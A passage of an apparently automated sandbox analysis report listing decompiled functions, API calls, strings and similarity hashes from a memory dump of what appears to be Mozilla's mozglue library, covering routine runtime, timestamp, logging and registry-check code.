							goto L8;
						} else {
							goto L7;
						}
					} else {
						 *0x6d100b88 =  *0x6d100b88 & 0x00000000;
						L6D0F8321();
						 *_t14(0x6d100b84);
						 *0x6d100b8c = E6D0F7647(_t20);
						_t6 = E6D0F7647(_t24);
						 *0x6d100b90 = _t6;
						L7:
						return _t6;
					}
				} else {
					_t12 = GetModuleHandleW(L"kernel32.dll");
					_t24 = _t12;
					if(_t12 == 0) {
						L8:
						E6D0F84D6(_t19, _t20, _t24, 7);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						DeleteCriticalSection(0x6d100b6c);
						_t8 =  *0x6d100b88; // 0x0
						if(_t8 != 0) {
							return CloseHandle(_t8);
						}
						return _t8;
					} else {
						goto L2;
					}
				}
			}

0x6d0f7664
0x6d0f7664
0x6d0f7666
0x6d0f7667
0x6d0f7669
0x6d0f766e
0x6d0f7673
0x6d0f7680
0x6d0f7686
0x6d0f768a
0x6d0f769d
0x6d0f76af
0x6d0f76bd
0x6d0f76c5
0x6d0f76c9
0x6d0f7709
0x6d0f770f
0x6d0f7716
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0f76d3
0x6d0f76d3
0x6d0f76e1
0x6d0f76e6
0x6d0f76ef
0x6d0f76f4
0x6d0f76fb
0x6d0f7718
0x6d0f771b
0x6d0f771b
0x6d0f768c
0x6d0f7691
0x6d0f7697
0x6d0f769b
0x6d0f771c
0x6d0f771e
0x6d0f7723
0x6d0f7724
0x6d0f7725
0x6d0f7726
0x6d0f7727
0x6d0f7728
0x6d0f7729
0x6d0f772a
0x6d0f772b
0x6d0f772c
0x6d0f772d
0x6d0f772e
0x6d0f772f
0x6d0f7735
0x6d0f773b
0x6d0f7742
0x00000000
0x6d0f7745
0x6d0f774b
0x00000000
0x00000000
0x00000000
0x6d0f769b

APIs

__vcrt_InitializeCriticalSectionEx.VCRUNTIME140(6D100B6C,00000FA0,00000000,?,?,?,6D0F7625), ref: 6D0F7673
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll), ref: 6D0F7680
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6D0F7691
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 6D0F76A3
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 6D0F76B1
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 6D0F76BF
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 6D0F76E9
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 6D0F76F4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 6D0F7709
___scrt_fastfail.LIBCMT ref: 6D0F771E
DeleteCriticalSection.KERNEL32(6D100B6C,00000007), ref: 6D0F7735
CloseHandle.KERNEL32(00000000), ref: 6D0F7745

Strings

SleepConditionVariableCS, xrefs: 6D0F76A9
kernel32.dll, xrefs: 6D0F768C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 6D0F767B
WakeAllConditionVariable, xrefs: 6D0F76B7
InitializeConditionVariable, xrefs: 6D0F769D

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProc$CriticalModuleSection__crt_fast_encode_pointer$CloseCreateDeleteEventInitialize___scrt_fastfail__vcrt_
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3347451552-1714406822
Opcode ID: 0f5db1d7731d7b2eb44257379bffdb9d0f15ce153c5f5c1186bc52d249aac986
Instruction ID: a3de3dedd003543b920bf924c8ea1b65204bde5ccff440f4ffbf1b365c63c4ba
Opcode Fuzzy Hash: 0f5db1d7731d7b2eb44257379bffdb9d0f15ce153c5f5c1186bc52d249aac986
Instruction Fuzzy Hash: 6B118479D147126FFF012FB57C48B7E2AB8AB86355B310029FE45D3241DFA0D8028B66

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F8043, Relevance: 10.6, APIs: 7, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D0F8043(void* __edx, void* __edi, void* __esi, void* __eflags) {
				char _t12;
				char _t19;
				char _t23;
				char _t24;
				char _t26;
				void* _t34;
				intOrPtr* _t37;
				void* _t39;

				_t34 = __edx;
				E6D0F8600(0x6d0fbe10, 0x10);
				if(E6D0F7212(0) != 0) {
					 *((char*)(_t39 - 0x1d)) = E6D0F7115();
					_t26 = 1;
					 *((char*)(_t39 - 0x19)) = 1;
					 *(_t39 - 4) =  *(_t39 - 4) & 0x00000000;
					__eflags =  *0x6d10082c;
					if(__eflags != 0) {
						E6D0F84D6(_t34, __edi, __esi, 7);
					}
					 *0x6d10082c = 1;
					_t12 = E6D0F7175(__eflags);
					__eflags = _t12;
					if(_t12 != 0) {
						E6D0F871F(E6D0F8760());
						_t23 = E6D0F873D();
						_push(0x6d0f9340);
						_push(0x6d0f9338); // executed
						L6D0F8844(); // executed
						__eflags = _t23;
						if(_t23 == 0) {
							_t24 = E6D0F714A();
							__eflags = _t24;
							if(_t24 != 0) {
								_push(0x6d0f9334);
								_push(0x6d0f92f8); // executed
								L6D0F883E(); // executed
								 *0x6d10082c = 2;
								_t26 = 0;
								__eflags = 0;
								 *((char*)(_t39 - 0x19)) = 0;
							}
						}
					}
					 *(_t39 - 4) = 0xfffffffe;
					E6D0F8133();
					__eflags = _t26;
					if(_t26 != 0) {
						goto L1;
					} else {
						_t37 = E6D0F875A();
						__eflags =  *_t37;
						if(__eflags != 0) {
							_push(_t37);
							_t19 = E6D0F72F5(__eflags);
							__eflags = _t19;
							if(_t19 != 0) {
								L6D0F8321();
								 *((intOrPtr*)( *_t37))( *((intOrPtr*)(_t39 + 8)), 2,  *((intOrPtr*)(_t39 + 0xc)));
							}
						}
						 *0x6d100b98 =  *0x6d100b98 + 1;
						__eflags = 1;
						L13:
						return E6D0F8646();
					}
				}
				L1:
				goto L13;
			}

0x6d0f8043
0x6d0f804a
0x6d0f8059
0x6d0f8067
0x6d0f806a
0x6d0f806c
0x6d0f806f
0x6d0f8073
0x6d0f807a
0x6d0f807e
0x6d0f807e
0x6d0f8083
0x6d0f808d
0x6d0f8092
0x6d0f8094
0x6d0f809b
0x6d0f80a0
0x6d0f80a5
0x6d0f80aa
0x6d0f80af
0x6d0f80b6
0x6d0f80b8
0x6d0f80ba
0x6d0f80bf
0x6d0f80c1
0x6d0f80c3
0x6d0f80c8
0x6d0f80cd
0x6d0f80d4
0x6d0f80de
0x6d0f80de
0x6d0f80e0
0x6d0f80e0
0x6d0f80c1
0x6d0f80b8
0x6d0f80e3
0x6d0f80ea
0x6d0f80ef
0x6d0f80f1
0x00000000
0x6d0f80f7
0x6d0f80fc
0x6d0f80fe
0x6d0f8101
0x6d0f8103
0x6d0f8104
0x6d0f810a
0x6d0f810c
0x6d0f811a
0x6d0f811f
0x6d0f811f
0x6d0f810c
0x6d0f8121
0x6d0f8129
0x6d0f812a
0x6d0f812f
0x6d0f812f
0x6d0f80f1
0x6d0f805b
0x00000000

APIs

___scrt_fastfail.LIBCMT ref: 6D0F807E
__RTC_Initialize.LIBCMT ref: 6D0F8096
___scrt_initialize_default_local_stdio_options.LIBCMT ref: 6D0F80A0
_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D0F9338,6D0F9340,6D0FBE10,00000010,6D0F802B,?,?,?,6D0F821D,?,00000001,?,?,00000001,?,6D0FBE50), ref: 6D0F80AF
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D0F92F8,6D0F9334,6D0FBE10,00000010,6D0F802B,?,?,?,6D0F821D,?,00000001,?,?,00000001,?,6D0FBE50), ref: 6D0F80CD
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6D0F8104

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_fastfail___scrt_initialize_default_local_stdio_options___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 817586116-0
Opcode ID: 4842dd80af351c0d9a332bf549f21aa5bef029c08db097564c936ef39f41a35c
Instruction ID: a79d0c7540233d8b5e0ebf5159dd044afdeddce3ec146d2b34a36a3a166747b8
Opcode Fuzzy Hash: 4842dd80af351c0d9a332bf549f21aa5bef029c08db097564c936ef39f41a35c
Instruction Fuzzy Hash: D811B6B1A4C20699FF40AFBB94007EC27A0AF1631CF764519DE942B1C2DF6251479AA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EBB40, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6D0EBB40(void* __ecx, void* __edi) {
				intOrPtr _v8;
				union _LARGE_INTEGER _v12;
				void* __ebx;
				void* __esi;
				void* _t8;
				char _t13;
				void* _t18;
				char _t22;
				void* _t25;
				void* _t26;
				char* _t27;
				void* _t28;
				char* _t29;

				_t28 = __edi;
				_push(__ecx);
				_push(__ecx);
				if( *0x6d1003c8 == 0) {
					 *0x6d1003c8 = 1;
					InitializeCriticalSectionAndSpinCount(0x6d100398, 0x1000);
					_t22 = 0;
					_t27 = getenv("MOZ_TIMESTAMP_MODE");
					_t25 = _t29;
					if(_t27 == 0) {
						L6:
						if(QueryPerformanceFrequency( &_v12) == 0) {
							L11:
							_t13 = 0;
							L12:
							 *0x6d100018 = _t13;
							if( *0x6d100018 == 0) {
								L17:
								return E6D0EB866(_t25, _t27);
							}
							if(_t22 != 0) {
								L15:
								 *0x6d1003b0 = 1;
								L16:
								 *0x6d100010 = _v12.LowPart;
								 *0x6d100014 = _v8; // executed
								E6D0EB95E(); // executed
								goto L17;
							}
							_t18 = E6D0EB7B8(_t22, _t27, _t28, _t29);
							 *0x6d1003b0 = _t22;
							if(_t18 == 0) {
								goto L16;
							}
							goto L15;
						}
						_t13 = 1;
						goto L12;
					}
					_t29 = "QPC";
					_t26 = 0;
					while(( *(_t27 + _t26) & 0x000000ff) ==  *((intOrPtr*)(_t29 + _t26))) {
						_t26 = _t26 + 1;
						if(_t26 != 4) {
							continue;
						}
						_t22 = 1;
						goto L6;
					}
					_t29 = "GTC";
					_t25 = 0;
					while(( *(_t27 + _t25) & 0x000000ff) ==  *((intOrPtr*)(_t29 + _t25))) {
						_t25 = _t25 + 1;
						if(_t25 != 4) {
							continue;
						}
						goto L11;
					}
					goto L6;
				}
				return _t8;
			}

0x6d0ebb40
0x6d0ebb43
0x6d0ebb44
0x6d0ebb4c
0x6d0ebb5e
0x6d0ebb65
0x6d0ebb70
0x6d0ebb78
0x6d0ebb7a
0x6d0ebb7d
0x6d0ebb97
0x6d0ebba3
0x6d0ebbbf
0x6d0ebbbf
0x6d0ebbc1
0x6d0ebbc1
0x6d0ebbcd
0x6d0ebbfe
0x00000000
0x6d0ebc04
0x6d0ebbd1
0x6d0ebbe2
0x6d0ebbe2
0x6d0ebbe9
0x6d0ebbec
0x6d0ebbf4
0x6d0ebbf9
0x00000000
0x6d0ebbf9
0x6d0ebbd3
0x6d0ebbd8
0x6d0ebbe0
0x00000000
0x00000000
0x00000000
0x6d0ebbe0
0x6d0ebba5
0x00000000
0x6d0ebba5
0x6d0ebb7f
0x6d0ebb84
0x6d0ebb86
0x6d0ebb8f
0x6d0ebb93
0x00000000
0x00000000
0x6d0ebb95
0x00000000
0x6d0ebb95
0x6d0ebba9
0x6d0ebbae
0x6d0ebbb0
0x6d0ebbb9
0x6d0ebbbd
0x00000000
0x00000000
0x00000000
0x6d0ebbbd
0x00000000
0x6d0ebbb0
0x6d0ebc08

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6D100398,00001000), ref: 6D0EBB65
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6D0EBB72
QueryPerformanceFrequency.KERNEL32(?), ref: 6D0EBB9B

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6D0EBB6B
QPC, xrefs: 6D0EBB7F
GTC, xrefs: 6D0EBBA9

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CountCriticalFrequencyInitializePerformanceQuerySectionSpingetenv
String ID: GTC$MOZ_TIMESTAMP_MODE$QPC
API String ID: 3825557725-2521068464
Opcode ID: 5c79f48a4f66c7cf9b71c325ab214f3b5ed012ce99c23bc9f9622daf53a4d046
Instruction ID: 95d2963e28fa03cb630b541ee9b65deaa9bd07c0513bcb6b48a7fefe51edc7c9
Opcode Fuzzy Hash: 5c79f48a4f66c7cf9b71c325ab214f3b5ed012ce99c23bc9f9622daf53a4d046
Instruction Fuzzy Hash: DD11263060C3855EFB266BB674447FA3FF8AB03294F64409DD9C18724ADFE18581C391

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EB1FA, Relevance: 3.0, APIs: 2, Instructions: 37
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0EB1FA(void* __ecx) {
				void _v28;
				void* __edi;
				void* _t19;
				signed int _t23;
				void* _t25;
				void* _t26;

				_t19 = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				 *((short*)(__ecx + 0x10)) = 0x100;
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((short*)(__ecx + 0x28)) = 0x100;
				E6D0EBB40(__ecx, _t26); // executed
				E6D0EBA20(__ecx, _t25,  &_v28, 1);
				_t23 = 6;
				memcpy(_t19,  &_v28, _t23 << 2);
				return _t19;
			}

0x6d0eb203
0x6d0eb207
0x6d0eb209
0x6d0eb20c
0x6d0eb20f
0x6d0eb212
0x6d0eb218
0x6d0eb21b
0x6d0eb21e
0x6d0eb221
0x6d0eb224
0x6d0eb22a
0x6d0eb235
0x6d0eb23e
0x6d0eb244
0x6d0eb24e

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6D0EB22A

Part of subcall function 6D0EBB40: InitializeCriticalSectionAndSpinCount.KERNEL32(6D100398,00001000), ref: 6D0EBB65
Part of subcall function 6D0EBB40: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6D0EBB72
Part of subcall function 6D0EBB40: QueryPerformanceFrequency.KERNEL32(?), ref: 6D0EBB9B

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6D0EB235

Part of subcall function 6D0EBA20: GetTickCount64.KERNEL32 ref: 6D0EBA58
Part of subcall function 6D0EBA20: ??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(00000000,?,?,?,00000000,00000000,?,?,?,?,?,?,6D0EB408,?), ref: 6D0EBA7B

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$Stamp@mozilla@@$CountCount64CriticalFrequencyInitializeNow@PerformanceQuerySectionSpinStampStartup@TickV12@_Value@mozilla@@getenv
String ID:
API String ID: 3911217947-0
Opcode ID: fe5709098e46fbd1167d295d7b53a2a2c2cbac95b90ebc2b613bfebe8af1d03d
Instruction ID: 94fa280b45b880b3be931be7699042433afdfcfc31d70d5e09c48a8b089d612e
Opcode Fuzzy Hash: fe5709098e46fbd1167d295d7b53a2a2c2cbac95b90ebc2b613bfebe8af1d03d
Instruction Fuzzy Hash: C2F049B19043048EDF44DF6D98C1696BBE8FF08210B2041AADE0CCF24AF771D8448BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D0EADB0, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6D0EADB0(void* __ecx, intOrPtr _a4) {
				char _v8;
				void* _t9;
				struct _IO_FILE* _t10;

				FormatMessageA(0x1300, 0, GetLastError(), 0x400,  &_v8, 0, 0);
				_t9 =  !=  ? _v8 : "(null)\n";
				__imp____acrt_iob_func(_a4, _t9, __ecx);
				_t10 = E6D0EB1C7(_t9, 2, "### ERROR: %s: %s");
				__imp____acrt_iob_func(2);
				fflush(_t10);
				return LocalFree(_v8);
			}

0x6d0eadce
0x6d0eaddd
0x6d0eadec
0x6d0eadf4
0x6d0eadfb
0x6d0eae02
0x6d0eae17

APIs

GetLastError.KERNEL32(00000000,?,6D0EA707,CreateThread), ref: 6D0EADB4
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D0EA707,CreateThread), ref: 6D0EADCE
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D0EA707,00000000,?,6D0EA707), ref: 6D0EADEC

Part of subcall function 6D0EB1C7: __vfprintf_l.MSPDB140-MSVCRT ref: 6D0EB1D6

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D0EA707), ref: 6D0EADFB
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D0EAE02
LocalFree.KERNEL32(?), ref: 6D0EAE0E

Strings

### ERROR: %s: %s, xrefs: 6D0EADE5
(null), xrefs: 6D0EADD8

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__vfprintf_lfflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 1434835741-1695379354
Opcode ID: 55ddb5974e59fffa604ad226d05733877253cf03a9023c546665b3f8c2e9ce01
Instruction ID: cff24604d47545affb4dfe3084a45c1f7e24024e268b2877856b3f1232be14d5
Opcode Fuzzy Hash: 55ddb5974e59fffa604ad226d05733877253cf03a9023c546665b3f8c2e9ce01
Instruction Fuzzy Hash: 11F01775540204FFEF089FA0EC0EFBE7A7DEB85702F204149BE0995182CB715A009A61

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E308C, Relevance: 9.0, APIs: 6, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6D0E308C(void* __esi, intOrPtr _a4, char _a8) {
				signed int _v8;
				char _v2056;
				signed int _t9;
				int _t11;
				void* _t25;
				struct _IO_FILE* _t26;
				signed int _t28;
				void* _t29;

				_t25 = __esi;
				_t9 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t9 ^ _t28;
				_t11 = IsDebuggerPresent();
				if(_t11 != 0) {
					E6D0E15E4( &_v2056, _a4,  &_a8);
					_t29 = _t29 + 0xc;
					_t11 =  &_v2056;
					OutputDebugStringA(_t11);
				}
				__imp___dup("a", _t25);
				_t26 = _fdopen(_t11, 2);
				if(_t26 != 0) {
					E6D0E3068(_t26, _a4, 0,  &_a8);
					fclose(_t26);
				}
				return E6D0F70C0(_v8 ^ _t28);
			}

0x6d0e308c
0x6d0e3095
0x6d0e309c
0x6d0e309f
0x6d0e30a7
0x6d0e30b7
0x6d0e30bc
0x6d0e30bf
0x6d0e30c6
0x6d0e30c6
0x6d0e30d4
0x6d0e30e2
0x6d0e30e8
0x6d0e30f4
0x6d0e30fa
0x6d0e3100
0x6d0e3111

APIs

IsDebuggerPresent.KERNEL32 ref: 6D0E309F
OutputDebugStringA.KERNEL32(?), ref: 6D0E30C6
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6D0FA488,06020000), ref: 6D0E30D4
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000), ref: 6D0E30DC
__vfprintf_l.MSPDB140-MSVCRT ref: 6D0E30F4
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,?,00000000,?), ref: 6D0E30FA

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugDebuggerOutputPresentString__vfprintf_l_dup_fdopenfclose
String ID:
API String ID: 2412566831-0
Opcode ID: 658b3c1c2ccddddf807811687bfd247457c9c355b51ad3d5a1c422c7785a90fa
Instruction ID: 2c9e170a029526520b809ec3a1efc52eb86e57c436d903340a94f84c7c4581df
Opcode Fuzzy Hash: 658b3c1c2ccddddf807811687bfd247457c9c355b51ad3d5a1c422c7785a90fa
Instruction Fuzzy Hash: 3C015A76901118AFEF10EFA4E809BAE7BBCEF09251F108056FE09D7140EB359608CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E199C, Relevance: 3.0, APIs: 2, Instructions: 37
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0E199C(intOrPtr* __ecx, void* _a4, signed int _a8) {
				struct _SYSTEM_INFO _v40;
				void* _t17;
				intOrPtr _t18;
				long _t28;
				intOrPtr* _t29;

				_t29 = __ecx;
				GetSystemInfo( &_v40);
				_t28 = _a8 / _v40.dwAllocationGranularity * _v40.dwAllocationGranularity;
				_t17 = MapViewOfFile(_a4, 4, 0, _t28, _a8 - _t28 + 0x40);
				 *(_t29 + 4) = _t17;
				if(_t17 == 0) {
					_t18 = 0;
				} else {
					_t18 = _t17 - _t28 + _a8;
				}
				 *_t29 = _t18;
				return _t29;
			}

0x6d0e19a7
0x6d0e19aa
0x6d0e19bd
0x6d0e19cf
0x6d0e19d5
0x6d0e19da
0x6d0e19e3
0x6d0e19dc
0x6d0e19de
0x6d0e19de
0x6d0e19e5
0x6d0e19ee

APIs

GetSystemInfo.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,6D0E2340,00000000,00000000,?,?,6D0E2F45,00000000), ref: 6D0E19AA
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,6D0E2300,00000000,?,?,?,?,?,?,6D0E2340,00000000,00000000), ref: 6D0E19CF

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoSystemView
String ID:
API String ID: 1125243938-0
Opcode ID: 2ed2be04d9fc3a379c6897a8459f9c54f71717db583d06c0e587701160129874
Instruction ID: 91933f4c695bb2946211bac9e1106aa6f8c81784001489c66237b544cc45931b
Opcode Fuzzy Hash: 2ed2be04d9fc3a379c6897a8459f9c54f71717db583d06c0e587701160129874
Instruction Fuzzy Hash: E5F09076600208AFEB14DF6DDC0AB9EBBF9EB89250F00812AFD45D7240D770E910CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E149E, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45d4235bbb85d4b51076e4ea05ffb04c2f8609fd7cff8443c1ecc110c37116c4
Instruction ID: 1d888c18eeaf90da6985b60b7018e6b48f6222a517b1b4c4bef90e27c5228f15
Opcode Fuzzy Hash: 45d4235bbb85d4b51076e4ea05ffb04c2f8609fd7cff8443c1ecc110c37116c4
Instruction Fuzzy Hash: 2D012DB2904208DFDF15CF5DD9C16AAB7F8FF49360B24C5AAEC0ADB205D6319900CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E244C, Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 174
registryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E6D0E244C(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				short _v12;
				char _v16;
				short _v44;
				void _v556;
				void* _v560;
				void* _v564;
				void* _v568;
				char _v572;
				int* _v576;
				int _v580;
				void* _v584;
				void* _v588;
				signed int _t40;
				void* _t47;
				void* _t50;
				void* _t52;
				void** _t57;
				void* _t58;
				void* _t61;
				char _t62;
				short _t63;
				void* _t65;
				void* _t68;
				void* _t71;
				void* _t72;
				void* _t75;
				signed int _t78;
				int _t92;
				signed int _t95;
				void* _t97;
				signed int _t99;
				void* _t100;
				void* _t101;
				void* _t102;

				_t40 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t40 ^ _t99;
				_v572 = L"detoured.dll";
				_v568 = L"_etoured.dll";
				_t95 = 0;
				_v564 = L"nvd3d9wrap.dll";
				_v560 = L"nvdxgiwrap.dll";
				while(GetModuleHandleW( *(_t99 + _t95 * 4 - 0x238)) == 0) {
					_t95 = _t95 + 1;
					if(_t95 < 4) {
						continue;
					}
					if(GetModuleHandleW(L"user32.dll") == 0) {
						_v584 = 0;
						_t47 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, 1,  &_v584);
						__eflags = _t47;
						if(_t47 != 0) {
							goto L4;
						}
						_t78 = 6;
						_v580 = 0;
						_t50 = memcpy( &_v44, L"AppInit_DLLs", _t78 << 2);
						_t101 = _t100 + 0xc;
						_v588 = _t50;
						asm("movsw");
						_t92 = 0;
						__eflags = RegQueryValueExW(_t50,  &_v44, 0, 0, 0,  &_v580);
						if(__eflags != 0) {
							L18:
							_t52 = _v588;
							__eflags = _t52;
							if(_t52 != 0) {
								RegCloseKey(_t52);
							}
							goto L4;
						} else {
							_t57 = E6D0E1226(__eflags,  &_v576, _v580 >> 1);
							_t75 =  *_t57;
							 *_t57 = 0;
							_t58 = _v576;
							_v576 = 0;
							__eflags = _t58;
							if(_t58 != 0) {
								free(_t58);
							}
							_t61 = RegQueryValueExW(_v584,  &_v44, _t92, _t92, _t75,  &_v580);
							__eflags = _t61;
							if(_t61 != 0) {
								L16:
								__eflags = _t75;
								if(_t75 != 0) {
									free(_t75);
								}
								goto L18;
							}
							_t62 = L", "; // 0x20002c
							_v16 = _t62;
							_t63 =  *0x6d0fa474; // 0x0
							_v12 = _t63;
							_push( &_v576);
							_t65 =  &_v16;
							_v576 = _t92;
							_push(_t65);
							_push(_t75);
							while(1) {
								__imp__wcstok_s();
								_t97 = _t65;
								_t102 = _t101 + 0xc;
								__eflags = _t97;
								if(_t97 == 0) {
									goto L16;
								}
								memset( &_v556, _t92, 0x200);
								_t68 =  &_v556;
								__imp___wsplitpath_s(_t97, _t92, _t92, _t92, _t92, _t68, 0x100, _t92, _t92);
								_t101 = _t102 + 0x30;
								__eflags = _t68;
								if(_t68 != 0) {
									L14:
									_push( &_v576);
									_t65 =  &_v16;
									_push(_t65);
									_push(_t92);
									continue;
								}
								asm("movsd");
								_t71 =  &_v556;
								asm("movsd");
								asm("movsd");
								asm("movsw");
								__imp___wcsnicmp(_t71,  &_v572, 7);
								_t101 = _t101 + 0xc;
								__eflags = _t71;
								if(_t71 == 0) {
									__eflags = _t75;
